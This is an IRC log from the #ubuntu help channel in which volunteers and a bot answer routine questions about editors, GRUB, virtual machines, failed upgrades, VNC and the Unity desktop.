[12:57] <DirtyDawg> lol
[12:57] <PresuntoRJ> loseweight: do you see the cursor blinking ? is in the the text somewhere or in the footer (like a status bar) of vi ?
[12:57] <loseweight> its not blinking
[12:57] <loseweight> does it matter that im using centos
[12:57] <PresuntoRJ> loseweight: vi is vi everywhere
[12:57] <dibs> Incarus6: http://paste.ubuntu.com/601296/ should I hit yes or no?
[12:57] <Incarus6> !centos | loseweight
[12:58] <SargonRose> Does anyone here use autohotkey?
[12:58] <jrib> !anyone | SargonRose
[12:58] <Incarus6> ubottu -.-
[12:58] <ubottu> SargonRose: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[12:58] <PresuntoRJ> loseweight: then press ESC some three times (just in case)
[12:58] <loseweight> crtl zz always creates a swap file
[12:58] <loseweight> should i just use that
[12:58] <PresuntoRJ> then, press only : once
[12:58] <PresuntoRJ> then write ZZ (twice, captial letters)
[12:58] <loseweight> : makes the cursor go to bottom
[12:59] <PresuntoRJ> loseweight: just right... and the ZZ or wq or qhatever you type will be a command to vi
[12:59] <loseweight> after: ?
[12:59] <gidorah_> hello, i have problems with installing opencv on ubuntu. here is the terminal output of make command: http://codepad.org/B9ijN98y . could anyone please help me?
[12:59] <PresuntoRJ> loseweight: ZZ = wq = Write and Quit
[12:59] <PresuntoRJ> yes, just after the :
[12:59] <SargonRose> run %Riot Games%\league of legends\lol.launcher This isnt working. I know it has something to do with the sace but im really new so i have no idea
[12:59] <Incarus6> dibs, Im confused. Hit No. that package doesn't even exist in the official repos: http://packages.ubuntu.com/search?suite=default&section=all&arch=any&searchon=names&keywords=libnss3
[12:59] <loseweight> its not workinggggggggggg
[12:59] <Incarus6> dibs, for maverick
[12:59] <PresuntoRJ> it would look like this   :wq      or :ZZ
[12:59] <loseweight> omg some1 help me please!!!!!!!!!!!!
[13:00] <jrib> loseweight: close your terminal and do what you want to do in nano.
[13:00] <bazhang> !helpme | loseweight
[13:00] <ubottu> loseweight: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[13:00] <GoGi> the xubuntu 10.10 cd does not detect my mouse when running under kvm. I get a cursor but it does not move.
[13:00] <zertyui> hi
[13:00] <ruum> hey guys are any of you having trouble with the new distro?
[13:00] <loseweight> closing the terminal is not a good idea as
[13:00] <dibs> Incarus6: ok, now I'm confused
[13:00] <loseweight> then i lose all my edits
[13:00] <ruum> with basic stuff....
[13:00] <jrib> loseweight: make them again
[13:00] <ruum> like getting the main menus back....
[13:00] <PresuntoRJ> loseweight: if you close without save, yes, you lose
[13:00] <dibs> I don't mind if I have to drop some apps and reinstall. I just need to make sure I get to a stable state for work
[13:01] <zertyui> is it possible reverse download ( upload ) on a site where the server is ubuntu and they allow us to download ?
[13:01] <Incarus6> dibs, that package shoudln't have any dependencies, it could be that this happens because the other packages arent from the official repo too
[13:01] <Osmodivs> Hello. How do I download an ISO with wget? because everytime I try to do that, it only downloads the webpage, not the file
[13:01] <tobier> ruum: the new DE seems bugged to me, otherwise no problems so far
[13:01] <zertyui> is it possible reverse download ( upload ) on a site where the server is ubuntu and they allow us to download ? where the folder chmod is 777
[13:01] <jrib> zertyui: depends if they allow you to upload presumably
[13:01] <dibs> Incarus6: thats why I not worried if I have to drop them, you reckon I should just drop the GB and pick it up on the other side?
[13:01] <loseweight> nano is better than vi?
[13:01] <ruum> and well how do you unmaximize a window - make go back to resizable
[13:01] <jrib> Osmodivs: pass the url of the iso to wget
[13:01] <DirtyDawg> loseweight: it is easier
[13:01] <jrib> loseweight: it's different
[13:01] <PresuntoRJ> Osmodivs: try the link from cdimage.ubuntu.com ... there should be the actual iso there to download, and should work from wget
[13:02] <zertyui> i still don't not understand what you mean  jrib
[13:02] <Incarus6> dibs, hm, what?
[13:02] <tomatto_> how can i reinstall grub from livecd?
[13:02] <jrib> loseweight: if you don't know how to use vi, I'd say nano is better
[13:02] <zertyui> what i have to check ? jrib
[13:02] <tobier> ruum: isn't maximized windows a feature now?
[13:02] <bazhang> !grub2 | tomatto_ have a read
[13:02] <ubottu> tomatto_ have a read: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[13:02] <jrib> zertyui: depends on how the server is configured
[13:02] <ruum> and in firefox, the main menu seems to be hidden forever - unless I use alt
[13:02] <PresuntoRJ> loseweight: when you learn to use vi (vim) you then tend to use it, cause its great
[13:02] <SargonRose> Basic line of code not working, can someone take a look at it and tell me whats wrong. Its only one line of code
[13:02] <ruum> sorta
[13:02] <tobier> ruum: I'm not using the new DE, but I think I remember that
[13:02] <zertyui> the folder chmod is 777 jrib
[13:02] <jrib> SargonRose: best to just ask the channel your actual question (on a single line)
[13:03] <PresuntoRJ> loseweight: but its really not easy the first time you try it...
[13:03] <tobier> ruum: yes, I think that is a feature, more Mac OS X-ish
[13:03] <gidorah_> hello, i have problems with installing opencv on ubuntu. here is the terminal output of make command: http://codepad.org/B9ijN98y . could anyone please help me?
[13:03] <jrib> zertyui: ok?
[13:03] <ruum> well who is lol
[13:03] <ruum> ye[
[13:03] <SargonRose> Was trying, i had had the code copy'ed but lost it somewhere
[13:03] <zertyui> the folder chmod is 777 jrib anyone read write and execute jrib
[13:03] <tobier> ruum: you can still use Ubuntu Classic
[13:03] <tobier> ruum: AFAIK that is Gnome
[13:03] <jrib> zertyui: yes, so?
[13:03] <SargonRose> run %Riot Games%\league of legends\lol.launcher
[13:03] <zertyui> so it should be possible for me jrib
[13:03] <jrib> zertyui: what kind of server is it...?
[13:04] <SargonRose> I know it something to do with the space
[13:04] <zertyui> what do you think jrib
[13:04] <Incarus6> dibs, I wouldn't remove thoose packages
[13:04] <zertyui> ubuntu lucid 10.04 jrib
[13:04] <poipoi> Can ubuntu run on a pc with 64 mb of ram and a 600 mhz celeron processor?
[13:04] <jrib> zertyui: ftp, ssh, etc
[13:04] <bazhang> poipoi, not the desktop, no
[13:04] <jrib> poipoi: no gui, but sure
[13:04] <Osmodivs> (gtk-update-icon-cache:5519): GdkPixbuf-WARNING **: Cannot open pixbuf loader module file '/usr/lib/gdk-pixbuf-2.0/2.10.0/loaders.cache': No such file or directory
[13:04] <poipoi> What do you mean?
[13:04] <zertyui> without creating an user is it possible to upload ? jrib
[13:04] <Osmodivs> What?!
[13:04] <iceroot> poipoi: with some luck, lubuntu will run but more ram is a good idea
[13:04] <Incarus6> Osmodivs, ignore that error
[13:05] <jrib> poipoi: no graphical user interface
[13:05] <ruum> I think I will.... cuz I suddenly cant make windows re-sizable again, and firefox's main menu are hidden forever unless I use tab
[13:05] <jrib> zertyui: you're not answering my questions, how can I answer yours...
[13:05] <Osmodivs> Incarus6, Ok :)
[13:05] <iceroot> poipoi: i am running ubuntu on 630mhz + 512mb ram (eeepc 701)
[13:05] <tobier> ruum: well then, use GNOME if you like it better
[13:05] <zertyui> what is your questioN ? jrib
[13:05] <PresuntoRJ> Incarus6: I tend to ignore many errors :D
[13:05] <poipoi> Ok? Damnit!
[13:05] <jrib> zertyui: what kind of server is it...?
[13:05] <poipoi> How much?
[13:05] <poipoi> For regular?
[13:05] <Incarus6> Osmodovis, it will be shown a lot of times, but you can ignore it. that doesn't say anything
[13:05] <PresuntoRJ> Incarus6: unlesss they bite me
[13:05] <zertyui> ubuntu lucid i said jrib
[13:05] <tobier> ruum: my prefered wm is the Awesome Window Manager
[13:05] <dibs> Incarus6: what a nigtmare
[13:05] <jrib> zertyui: ftp, ssh, etc
[13:05] <DirtyDawg> iceroot: with a Gui? if so which one
[13:05] <ruum> once maximized, there is no undoing it without closing and reopening the window
[13:05] <zertyui> web server jrib
[13:06] <iceroot> DirtyDawg: gnome
[13:06] <PresuntoRJ> ruum: in Unity ?
[13:06] <jrib> zertyui: then no, you probably can't upload...
[13:06] <DirtyDawg> wow
[13:06] <ruum> I almost want to go back to v.10.x
[13:06] <Osmodivs> It's been hours since i updated and still is not finished, I have 2500+ packages to upgrade
[13:06] <Incarus6> dibs, dude, I have no Idea how to fix that. its because you used this unofficial mirror
[13:06] <ruum> this is a NIGHTMARE
[13:07] <PresuntoRJ> ruum: I hate it too... let me try to help... can you see the X in the left corner of the maximized window ?
[13:07] <iceroot> DirtyDawg: its the gnome from ubuntu 8.04, its running ok with 512mb ram and 630mhz, its possible to work with that machine (if not using fash/youtube)
[13:07] <zertyui> ok let come the point, then how site like mangaupload etc ... allow anonym  users to upload files on folders ?
[13:07] <DirtyDawg> iceroot: interesting
[13:07] <SargonRose> Code not working run "%A_Riot Games%\league of legends\lol.launcher" No idea why exept for the space between riot and games is the problem, just dont know why or how to fix it
[13:07] <jrib> zertyui: you can certainly write scripts that allow users to upload
[13:08] <tobier> ruum: just don't use the new desktop!!
[13:08] <PresuntoRJ> ruum: you could try to login to the ubuntu classic option
[13:08] <tobier> ruum: I've said it, pick Ubuntu Classic when you log in, it's just like back in 10.x
[13:08] <dibs> a mirror at a university here in NZ? surely that would be ok
[13:08] <Curly_Q> Hey guys I installed X11VNC and it worked and doesn't work. It has a mind of its own It has error warnings that seem quite stupid any suggestions besides using FreeNX?
[13:08] <zertyui> that's what i can't understand ? how php script able to upload without creating an username and password authentificatioN jrib
[13:09] <samtate> hi
[13:09] <jrib> zertyui: you can ask ##php for help creating such a script
[13:09] <poipoi> Can you run regular ubuntu on on 200 mb of ram?
[13:09] <dibs> Incarus6:   a mirror at a university here in NZ? surely that would be ok
[13:09] <jrib> poipoi: no
[13:09] <poipoi> Might be more
[13:09] <Incarus6> dibs, sure? they miss a lot of packages and some packages differ from the original
[13:09] <Dr_Willis> Curly_Q:  if you can handle  not shareing the current visible desktop. theres dozens of vnc servers out there.
[13:09] <Curly_Q> It also has an error warning to disable the error warnning. How stupid is that?
[13:10] <PresuntoRJ> poipoi: almost not... but I have managed to run with 256 from the alternate Cd a few versions back (9.10 if I recall right)
[13:10] <aj00200> poipoi: surely you have more ram than that unless this is an extremely old computer
[13:10] <Osmodivs> popoi, run damn small linux instead
[13:10] <zertyui> ok thanks jrib
[13:10] <Curly_Q> Dr_Willis, I don't mind experimenting with anything that is worth while.
[13:10] <DirtyDawg> or puppy linux
[13:11] <PresuntoRJ> poipoi: then I recomend lubuntu intead of ubuntu (but I think its a package now a days)... you could try to install without GUI and then get via apt the lubuntu-desktop package
[13:11] <PresuntoRJ> poipoi: its still usable
[13:11] <sl33k_> any suggestion which to use virtualbox or vmware?
[13:11] <sl33k_> for ubuntu
[13:11] <poipoi> Can you run ubunt 8 on 200 mb of ram?
[13:11] <aj00200> sl33k_: personally, I like qemu
[13:11] <PresuntoRJ> sl33k_: Ubuntu as host or guest ?
[13:11] <Incarus6> dibs, try "dpkg --configure -a" and paste output
[13:11] <poipoi> Host
[13:11] <Dr_Willis> Curly_Q:  i normally only use the more normal vnc servers. Ones that dont share the current visible desktop. such as tightvnc, or vnc4server, i think theres otheres out there also. Theres also FreeNX that serves a similer purpose.
[13:12] <Dr_Willis> poipoi:  i bet it would be dog slow.
[13:12] <sl33k_> PresunotoRJ: i am new to this :) what is the difference between them?
[13:12] <Dr_Willis> Curly_Q:  it all depoends on how you are going to be using the remote desktop
[13:12] <PW-toXic> Hi,
[13:12] <PW-toXic> I cant find my xorg.conf file
[13:12] <ruum> exit
[13:12] <PresuntoRJ> sl33k_: virtualbox works really good, sometimes I cannot compile vmware (vmmon-only), and qemu is a mess with bridge to get to the machine, but if you are only use outbound from it, qemu is really simple to use
[13:13] <Dr_Willis> PW-toXic:  X auto configures for the most part. make a xorg.conf if you want one
[13:13] <dibs> Incarus6: it doesn't output?
[13:13] <PresuntoRJ> sl33k_: the guest is the machine running inside a VM, the host is the machine executing the VM it self
[13:13] <bruzer> Hey, I recently installed ubuntu 10.04 and set everything up for wifi, and I can get it to connect, but it has 0 bars, and won't let me surf the net.  Any help would be great
[13:13] <Incarus6> dibs, thats a good sign
[13:14] <PW-toXic> Dr_Willis, i run on virtualbox and i cant select a higher resolution
[13:14] <dibs> Incarus6: phew
[13:14] <PW-toXic> I have 11.04 newly installed
[13:14] <Curly_Q> Dr_Willis I have tried TightVNC in fact it was the first VNC device I used. It seems good, but with Windows it started to talk to some internet servers I never programmed it for.
[13:14] <sl33k_> PresuntoRJ: then, as a guest. host would be windows
[13:14] <loseweight> please help
[13:14] <loseweight> http://pastebin.com/W8UnQSfr
[13:14] <phonex01> How can i change folders and files properties of FAT23 and NTFS files through ubunt ? like changed hidden to un-hidden ?
[13:14] <matsimon> PW-toXic: No xorg.conf is created in recent ubuntu, its used if there is one otherweise not existing
[13:15] <bruzer> ?
[13:15] <PresuntoRJ> sl33k_: you want to run Ubuntu as a desktop (with GUI) or as a server (sharing files, web, ssh, ...)?
[13:15] <Curly_Q> With a good Windows Net Monitor you can see what software is talking to who.
[13:15] <CantRushThis> hey - I've got a minor issue with my 11.04 installation: The default battery charge indicator is not displaying remaining charge time on my Compaq Presario CQ56
[13:15] <Dr_Willis> Curly_Q:  you will want to block the vnc ports via a firewall or router. in case anyone tries to scan you and get in
[13:15] <loseweight> http://pastebin.com/W8UnQSfr
[13:15] <sl33k_> PresuntoRJ: any tradeoff for running on virtualbox/qemu?
[13:15] <Incarus6> dibs, http://paste.ubuntu.com/601281/ lines 1149, 1150, 1151, 1164, 1165, 1166, 1167, 1182, 1183, 1184 and 1193 seems to cause your main problem. I think this are these packages, which prevent your system from beeing updated, because it couldn't resolv the dependencies of that packages
[13:15] <Dr_Willis> PW-toXic:  you need to get the Vbox guest addations installed I imagine.
[13:15] <sl33k_> PresuntoRJ: desktop
[13:15] <PW-toXic> Dr_Willis, yeah i guess i need this ;) just installing
[13:15] <CantRushThis> I remember reading somewhere that it's an issue with the 10.10 / 11.04 battery management system and that it should work with 10.04
[13:16] <Curly_Q> Dr_Willis I block anything that is suspect.
[13:16] <Dr_Willis> Curly_Q:  vnc is not safe to use over the wild and dirty internet.
[13:16] <bruzer> Hey, I recently installed ubuntu 10.04 and set everything up for wifi, and I can get it to connect, but it has 0 bars, and won't let me surf the net.  Any help would be great
[13:16] <Dr_Willis> Curly_Q:  if you have to use it over the internet. use ssh tunels.
[13:16] <phonex01> How can i change folders and files properties of FAT23 and NTFS files through ubunt ? like changed hidden to un-hidden ?
[13:16] <PresuntoRJ> sl33k_: to run a server, inside Windows, I would run in the vmware server, cause it does not need to open any window, and its also free... for the GUI, the vmware player is OK, but I usued to prefer VirtualBox (when it was Sun, not Oracle)
[13:16] <aj00200> colalindu: I think you will need to run that as a root user (sudo python26 setup.py build)
[13:16] <Curly_Q> Dr_Willis, I was using SSH with Secure VNC with X11vnc.
[13:16] <ThisNameisCool> please help
[13:16] <ThisNameisCool> http://pastebin.com/W8UnQSfr
[13:16] <linux_> 6.04 server
[13:17] <bazhang> linux_, no such version
[13:17] <aj00200> ThisNameisCool: I think you will need to run that as a root user (sudo python26 setup.py build)
[13:17] <matsimon> ThisNameisCool: Why would you want to install python from source?
[13:17] <linux_> is python 2.6
[13:17] <ThisNameisCool> i need 2.6
[13:17] <Curly_Q> Dr_Willis when I installed the Ubuntu Repositories and stuff like that it stopped working.
[13:17] <Incarus6> ThisNameisCool, isn't python 2.7 default in 11.04?
[13:17] <aj00200> matsimon: no, he is installing a python module, I think
[13:17] <matsimon> aj00200: oh, sorry, catched that
[13:17] <sl33k_> PresuntoRJ: is qemu reliable? also, could you provide some installation info/link?
[13:17] <ThisNameisCool> twisted is the name
[13:18] <PresuntoRJ> sl33k_: do you need them (Windows and Ubuntu) together at the same time? if not, there is also Wubi (an instalation inside windows, almost like a program, but boots to Windows or Ubuntu)
[13:18] <PresuntoRJ> sl33k_: pretty much, but its a mess to network to the machine inside qemu... I am not sure if there is qemu for windows
[13:18] <ruum> ok, I dont know who told me to reboot as ubuntu classic BUT THANK YOU VERY MUCH
[13:19] <Dr_Willis> Curly_Q:  freenx works much better over the internet, and is mor esecure.. but harder to setup.
[13:19] <cool-RR> Hello again
[13:19] <nabi> I get this "Grub loading, please wait... Error 15" now what I want to do ?
[13:19] <PresuntoRJ> ruum: :)
[13:19] <cool-RR> There's something I don't understand how to do in Unity
[13:19] <ruum> WHEW.... what a relief!!  I have all my main menus bacn and EVERYTHING
[13:19] <cool-RR> I press Super
[13:19] <ThisNameisCool> how cna i fix it?
[13:19] <ThisNameisCool> EVERY MODULE HAS THIS ERROR
[13:19] <bruzer> Can I assume mine is a unique problem for which you have no answer?
[13:19] <cool-RR> Start typing the app name, like "ter"
[13:19] <Sidewinder1> !patience > ThisNameisCool
[13:19] <ubottu> ThisNameisCool, please see my private message
[13:19] <Soothsayer> I have an executable called 'foo' at say '/opt/cyberoam/crclient/'
[13:19] <cool-RR> But how can I use the keyboard to browse through the different apps?
[13:19] <santhu1984> hi
[13:19] <sl33k_> PresuntoRJ: yea, same time i presume. i have used wubi, however did not like it as the boot used to break often
[13:20] <Soothsayer> so I can navigate to that path in the terminal and type ./foo and execute it.
[13:20] <aj00200> ThisNameisCool: are you using 11.04?
[13:20] <ThisNameisCool> negative
[13:20] <Soothsayer> But how do I execute that from some other path?
[13:20] <jaidotsh> nopes
[13:20] <ThisNameisCool> im using centos
[13:20] <Curly_Q> Dr_Willis I apt-getted the FreeNX but got frustrated with the operation.
[13:20] <ruum> they REALLY need to get on this new UI version and allow users to have their main menus somewhere....
[13:20] <jrib> Soothsayer: /opt/cyberoam/crclient/foo
[13:20] <santhu1984> i ve upgraded ubuntu from 10.10 to 11.04
[13:20] <bazhang> ThisNameisCool, #centos
[13:20] <santhu1984> and upgrading failed in between
[13:20] <ThisNameisCool> i can't go there
[13:20] <santhu1984> can any one help me
[13:20] <bazhang> ThisNameisCool, that does not make this their backup channel
[13:20] <aj00200> ThisNameisCool: did you try putting sudo in front of the command like I suggested?
[13:20] <Soothsayer> jrib, ./crclient: You can run the executable with name `crclient' only.
[13:21] <Curly_Q> If FreeNX works I will use it.
[13:21] <Incarus6> santhu1984, pls ask in one line and pls paste /var/log/dist-upgrade/apt.log
[13:21] <ThisNameisCool> aj i didnt
[13:21] <ruum> not being able to resize and manage your windows is HORRIBLE!!!  But you guys are AWESOME, I would DIE if  I could have my ubuntu classic...
[13:21] <bazhang> aj00200, hes not using ubuntu
[13:21] <ThisNameisCool> i didnt see your suggestion
[13:21] <Soothsayer> jrib, in my case foo = crclient (the executable is the same name as the directory holdign it)
[13:21] <aj00200> bazhang: ah
[13:21] <ThisNameisCool> what does sudo do
[13:21] <bazhang> ThisNameisCool, stop asking for centos help here
[13:21] <ruum> *couldnt
[13:21] <ThisNameisCool> they are both linux ok
[13:21] <PresuntoRJ> sl33k_: just found this, not sure how up-to-date is the information... http://wiki.laptop.org/go/Using_QEMU_on_Windows
[13:21] <cool-RR> Guys, how can I use the keyboard to move between app symbols in Unity?
[13:21] <bazhang> ThisNameisCool, ##linux NOT here
[13:22] <sl33k_> PresuntoRJ: any other like qemu. and which ubuntu installer to download. could you provide the downloader link and doumentation ?
[13:22] <ruum> ThisNameisCool.... I am sure there is a centos channel
[13:22] <jaidotsh> helo
[13:22] <ruum> you should go to that....
[13:22] <aj00200> ThisNameisCool: sorry, but CentOS is totaly different in some regards, particularly Python matters. I don't know much about it on CentOS.
[13:22] <Acriax> http://imgur.com/P47aa <-- does anyone know why it revert to this old-style theme after about 10 seconds? This screen was taking in Unity on a Virtualbox VM, but the same thing happens no matter if I use classic ubuntu or vmware instead.
[13:22] <memefilter> hi folks, is the reason the 32bit version of 11 recommended because the 64 is not quite stable?
[13:22] <santhu1984> i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:22] <Curly_Q> Dr_Willis I did a  sudo apt-get upgrade and    sudo apt-get upgrade    and     sudo apt-get aptitude.
[13:22] <bruzer> Hey, I recently installed ubuntu 10.04 and set everything up for wifi, and I can get it to connect, but it has 0 bars, and won't let me surf the net.
[13:22] <Incarus6> memefilter, 32bit isn't more stable then 64bit, but I prefer 32 because of its compatibility
[13:23] <Curly_Q> Also sudo apt-get update
[13:23] <ThisNameisCool> linux is universal
[13:23] <bazhang> ThisNameisCool, stop
[13:23] <Cursarion> :o
[13:23] <memefilter> Incarus6: thanks, that's the advice I got elsewhere too
[13:24] <memefilter> 32 it is
[13:24] <memefilter> cheers folks!
[13:24] <ruum> damn guys someone needs to recreate the CentOS channel!!  But still this is for #ubuntu  I would suggest going to the #linux channel for centos help ThisNameisCool.
[13:24] <bruzer> Any help
[13:24] <Cursarion> is it possible to mark a HD partition bootable, put contents of Ubuntu ISO file there and install from it on boot?
[13:24] <PresuntoRJ> sl33k_: again, inside ubuntu, so it runs as host, there is kvm, qemu, and virtualbox_ose ... you can download from vmware.com the player or the server (depending if you need a GUI or not)
[13:24] <Curly_Q> Dr_Willis the X11vnc worked just fine when I first installed Ubuntu, after installing the updates and upgrades it failed.
[13:25] <aj00200> ThisNameisCool: each distro has some differences. You would be better off asking in a CentOS channel or a general Linux channel where someone who understands these differences better can help you. #ubuntu is specfically for Ubuntu help.
[13:25] <ThisNameisCool> i can't talk in linux channel
[13:25] <Cursarion> instead of DVD/USB stick
[13:25] <ThisNameisCool> it says i can' chat
[13:25] <Incarus6> Curarion, isn't a persistent Live USB stick easier?
[13:25] <Dr_Willis> Curly_Q:  i dont use x11vnc. so no idea.  I dont use vnc the way x11vnc works.
[13:25] <Glycan> Argh!
[13:25] <jnlsnl_> Hmm i just installed ImageCache module, and under /build/modules there are two entries of "ImageCache", "ImageCache UI", "ImageAPI ImageMagick" and "ImageAPI GD2" with the same version number ... is this intentionally ? :-) just wondering, seems strange
[13:25] <Cursarion> Incarus6: no access to an USB tick
[13:25] <Cursarion> but how do you mean persistent?
[13:25] <bazhang> ruum, theres a #centos channel already
[13:25] <PresuntoRJ> Cursarion: ISO is like a ZIP file that contains the bootable files... so, no... but you can try to install it to an USB dongle (pen-drive)
[13:26] <ruum> oh SWEET!! he should go there then!!!
[13:26] <Curly_Q> Dr_Willis I am just experimenting and as you very well know when I come here I like to try diffrent things. I will try what is better or what is best.
[13:26] <Cursarion> PresuntoRJ: well, the contents of the ISO file
[13:26] <Dr_Willis> Curly_Q:  it all depends on how you want to use the tool.
[13:26] <Incarus6> Cursarion, persistent means, that any changes are saved on the usb sticks and not overridden when you reboot
[13:26] <Cursarion> PresuntoRJ: 'cause there's no access to an USB dongle
[13:26] <kurtul> anyone installed ubuntu on emachines netbook with 1bm ram?
[13:26] <tyler87> yo
[13:27] <Curly_Q> Dr_Willis, as you said it is just a tool.
[13:27] <Dr_Willis> kurtul:  emachines makes a lot of machines...
[13:27] <jnlsnl_> woooops wrong channel, sorry
[13:27] <kim0|vacation> Hi folks, I'm adding a ppa (yavdr) but apt is not picking it up it seems (apt-cache policy vdr) only shows the one from universe .. any ideas why ?
[13:27] <Curly_Q> Dr_Willis I use it for lazy  minded people who pay me for my services.
[13:27] <Cursarion> so basically there's the HD to install on and the ISO image, which can be extracted on the HD
[13:27] <Dr_Willis> kurtul:  a 1 gb ram box. should work.
[13:27] <Cursarion> but no USB stick or CD/DVD
[13:27] <Cursarion> can it be done with the HD alone?
[13:27] <santhu1984>  i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:27] <santhu1984>  i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:27] <santhu1984>  i ve upgraded ubuntu 10.10 to 11.04 and upgrading failed in between and i am not able to access my terminal and lost all most all functions
[13:27] <pfifo> Cursarion, you can boot from a iso image if you hae grub2 installed, but you need access to linux to install grub2... however the limitations of ubiquity wont allow you to install to the hard drive that the isoimage is on so you would need 2 drives atleast
[13:27] <PresuntoRJ> Cursarion: not to an HD, its trivial to put on a CDR or DVDR, and not that difficult to put in a USB drive... try usb-creator-gtk
[13:28] <Dr_Willis> Cursarion:  unetbootin can do some sort of live-install to a hard drive using the iso file. but i dont reccomend it.
[13:28] <bazhang> santhu1984, please dont repeat so quickly
[13:28] <Dr_Willis> Cursarion:  you could do that to one partition.. then boot it. and do a normal install to a differnt partition i guess.
[13:28] <Cursarion> PresuntoRJ: the point is there are no physical USB drives available
[13:28] <PresuntoRJ> kurtul: how much memory? 1G ?
[13:28] <Dr_Willis> Cursarion:  or you could some how set up grub2 to boot the iso file.
[13:28] <ubuntu> Hi
[13:28] <kurtul> PresuntoRJ: yes
[13:29] <ubuntu> To run unity desktop will it require graphic card ?
[13:29] <PresuntoRJ> Cursarion: dont think so
[13:29] <bruzer> Anyone?
[13:29] <kurtul> PresuntoRJ: i think memory should be ok. but would wireless work out of the box?
[13:29] <Cursarion> pfifo, Dr_Willis: grub is installed
[13:29] <ubuntu> Hi Can anyone help on this post ? To run unity desktop will it require graphic card ?
[13:30] <Dr_Willis> Cursarion:  grub2 can boot an ISO file - if you set it up right.
[13:30] <bazhang> ubuntu, yes
[13:30] <PresuntoRJ> kurtul: and how big is the HD ?
[13:30] <Incarus6> ubuntu, to run the xserver it will require a graphic card, yes.
[13:30] <ForceDestroyer> great... I let ubuntu upgrade, and now bluetooth is nuts. The bluetooth icon says it's enabled, but when I click on preferences, it says it's disabled, and there's a large button "turn bluetooth on" that does nothing. The computer makes some kind of high-pitched noise too. :/
[13:30] <kurtul> PresuntoRJ: 160gb
[13:31] <PresuntoRJ> kurtul: that should be ok then... are you facing any problems?
[13:31] <jaidotsh> helo
[13:31] <sl33k_> is virtualbox and vmware reliable for running 10.04?
[13:31] <PresuntoRJ> bruzer: what?
[13:31] <Sidewinder1> bruzer: Can you get the wireless router any closer to your ;puter? Or perhaps the other way around?
[13:31] <ForceDestroyer> Trouble is, I'm still fairly new to linux/ubuntu/all of this, so the mouse not working is a problem
[13:31] <Curly_Q> Cursarion, even if you boot up into a disk you still need to Low Level Format it. What are you trying to do?
[13:31] <Dr_Willis> sl33k_:  they should work ok.
[13:31] <bruzer> I recently installed ubuntu 10.04 and set everything up for wifi, and I can get it to connect, but it has 0 bars, and won't let me surf the net.1
[13:31] <sl33k_> Dr_Willis: which you prefer?
[13:32] <jaidotsh> can anybody tell me whether broadcom 802.11 is supported in 11.04?
[13:32] <Dr_Willis> sl33k_:  i only use vbox.
[13:32] <kurtul> PresuntoRJ: not yet. but it's a friend's computer. i'll wipe windows and put ubuntu. i don't want to be embarrassed if let's say wifi won't work.
[13:32] <bazhang> jaidotsh, yes it is
[13:32] <Dr_Willis> jaidotsh:  differnt chipsets by broadcom have differnt degrees of support and possible issues.
[13:32] <jaidotsh> bazhang thank u
[13:32] <Stereocaulon> I've just upgrade form 10.10 to 11.04 but I got an error stating that the upgrade had failed leaving my machine in a possibly unstable state. Where can I find the upgrade log and should I refrain from restarting my machine?
[13:32] <bruzer> Well, I have it in the room next to me, worked fine when I had ubuntu installed a few months ago
[13:32] <sl33k_> Dr_Willis: could you provide me the installation steps/link?
[13:32] <Dr_Willis> !vbox
[13:32] <ubottu> virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[13:32] <Cursarion> Curly_Q: install the OS without a CD/DVD/USB stick
[13:33] <Dr_Willis> sl33k_:  go read the vbox manual at its homepage also
[13:33] <jaidotsh> ok Dr_Willis thanks for the info. gotta try it out
[13:33] <sl33k_> thanks
[13:33] <Incarus6> Stereocaulon, /var/log/dist-upgrade/ apt.log and main.log
[13:33] <ThaTJGreeN> hello
[13:33] <Sidewinder1> bruzer: That's a stumper. Did you try rebooting the router?
[13:33] <ForceDestroyer> Is there some way to disable common ACPI power saving features for ethernet and bluetooth?
[13:33] <Stereocaulon> Incarus6, thanks for the locations! :-)
[13:33] <bruzer> And I have tried sitting right next to the router
[13:33] <omichalek> hi all, my boot time is terribly slow, after grub I have to wait several minutes with black screen before splash appears
[13:33] <omichalek> what can do?
[13:34] <Incarus6> Stereocaulon, where did it stop?
[13:34] <Phalanx1234> Anyone know a fix for the boot fail, http://paste.ubuntu.com/601279/.
[13:34] <Curly_Q> Cursarion, then you would need to be God to do that. How do you expect to install anything without a CD/DVD/USB   Unless it is a HD?
[13:34] <santhu1984> can any one help me how to use itunes in ubuntu
[13:34] <pfifo> !info debootstrap | Curly_Q
[13:34] <ubottu> Curly_Q: debootstrap (source: debootstrap): Bootstrap a basic Debian system. In component main, is extra. Version 1.0.29ubuntu1 (natty), package size 34 kB, installed size 268 kB
[13:34] <Phalanx1234> Curley_Q, Floppy Disk.
[13:34]  * pfifo is god
[13:34] <bazhang> santhu1984, in a vm perhaps with windows
[13:34] <Stereocaulon> Incarus6, I'll post a pastebin of my upgradelog to illustrate the stopping point
[13:34] <tjiggi_fo> bruzer, can you paste the result of: sudo lshw -C Network
[13:34] <bruzer> hold on
[13:35] <Incarus6> Stereocaulon, ty
[13:35] <ThaTJGreeN> santhu1984 try 'play on linux'
[13:35] <tyler87> so, with the new 11.04. how the hell do i go about removing what i guess to be the empathy indicator and email indicator from the toolbar up top? i already removed the email software and empathy
[13:35] <Incarus6> dibs, still not working?
[13:35] <bazhang> ThaTJGreeN, thats wine? that does not work well
[13:35] <Dr_Willis> Cursarion:  you could also use vbox or vmware and mount a 'real' hard disk partition and isntall to that..
[13:35] <santhu1984> <bazhang> i am using only ubuntu
[13:36] <bazhang> santhu1984, then try something else other than itunes
[13:36] <Tongpow> anyone know the 411 on getting compiz to work again in 11.4 i uninstalled unity, the visual effects tab is gone from appearance preference
